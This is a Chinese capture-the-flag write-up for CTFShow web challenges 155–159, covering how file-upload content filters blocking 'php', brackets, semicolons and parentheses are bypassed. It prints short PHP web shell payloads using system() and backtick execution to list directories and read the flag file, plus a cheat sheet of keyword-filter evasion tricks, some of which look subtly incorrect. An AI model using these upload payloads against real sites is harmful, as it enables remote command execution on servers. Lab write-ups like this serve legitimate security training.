CTFShow-Web155-159:不同的过滤方式

CTFShow-Web155-159:不同的过滤方式与绕过技巧

这些题目主要针对文件上传内容的过滤规则,通过对关键字符(如 php、[]、;、括号等)进行拦截来阻止恶意代码的执行。然而,这些过滤规则存在漏洞,可以通过替换、通配符和其他技术实现绕过。

🛠️ Web155-157 解题

过滤规则:

对上传文件内容进行了简单过滤,禁止包含以下字符:

​ • php

​ • []

绕过方式:

php可以尝试替换为Php、php2、php3、php5

[]替换为{}

将被过滤的字符替换,绕过过滤逻辑,其余步骤与 Web153 基本一致。

Web157-158 解题

过滤规则:

对以下字符进行了过滤:

​ • php

​ • []

​ • ;

绕过方式:

通过直接命令执行的方法绕过。

​ 1. 首次上传图片内容:

<?=system('ls ../')?>

​ 2. 访问 /upload/,查看目录列表:

返回内容示例:

flag.php images index.php js layui upload upload.php upload.phpnothing here

​ 3. 再次上传图片获取 Flag:

图片内容:

<?=system('ls ../flag.*')?>

⚠️ 注意:

由于 php 被过滤,不能使用 。可以通过通配符 * 匹配文件名,如 flag.*。

Web159 解题

过滤规则:

​ • 除了 php、[]、;,还对括号 () 进行了过滤。

​ • 因此eval 函数也无法使用。

绕过方式:

利用 PHP 的反引号(``)执行系统命令,绕过过滤规则。

图片内容:

<?=`tac ../flag.*`?>

原理解析:

在 PHP 中:

​ • <?= 是 <?php echo 的简写,用于直接输出表达式的结果。

​ • 反引号(``)是 PHP 的执行运算符,其作用等同于 shell_exec() 函数。

​ • tac 是反向输出文件内容的 Linux 命令,tac ../flag.* 用于读取并反转显示 ../flag.* 文件的内容。

​ • 因此,代码 的功能相当于:

<?php echo shell_exec('tac ../flag.*'); ?>

PHP 中常见的字符过滤与绕过方法

常见过滤字符:

​ 1. php

​ • 替代方案:使用短标签 ,或尝试 p<h<p 等方式拆分。

​ 2. ()

​ • 替代方案:使用反引号(``)执行命令。

​ 3. ;

​ • 替代方案:将多条命令合并为一条,或使用逻辑运算符 && 或 ||。

​ 4. []

​ • 替代方案:{}。

其他绕过技术:

​ 1. Unicode 编码绕过:

​ • 将关键字符替换为其 Unicode 编码,例如 \u0070\u0068\u0070 表示 php。

​ 2. 注释混淆:

​ • 在敏感关键字中插入 PHP 注释:

<?=sys/*注释*/tem('ls ../')?>

​ 3. Base64 编码绕过:

​ • 使用 base64_decode() 解码并执行:

<?=eval(base64_decode('c3lzdGVtKCdscy4uLycpOw==')); ?>

​ 4. 多字节编码绕过:

​ • 使用多字节字符分隔敏感关键字:

<?=syst\x65m('ls ../')?>
posted @ 2025-02-06 16:52  Zebra233  阅读(108)  评论(0)    收藏  举报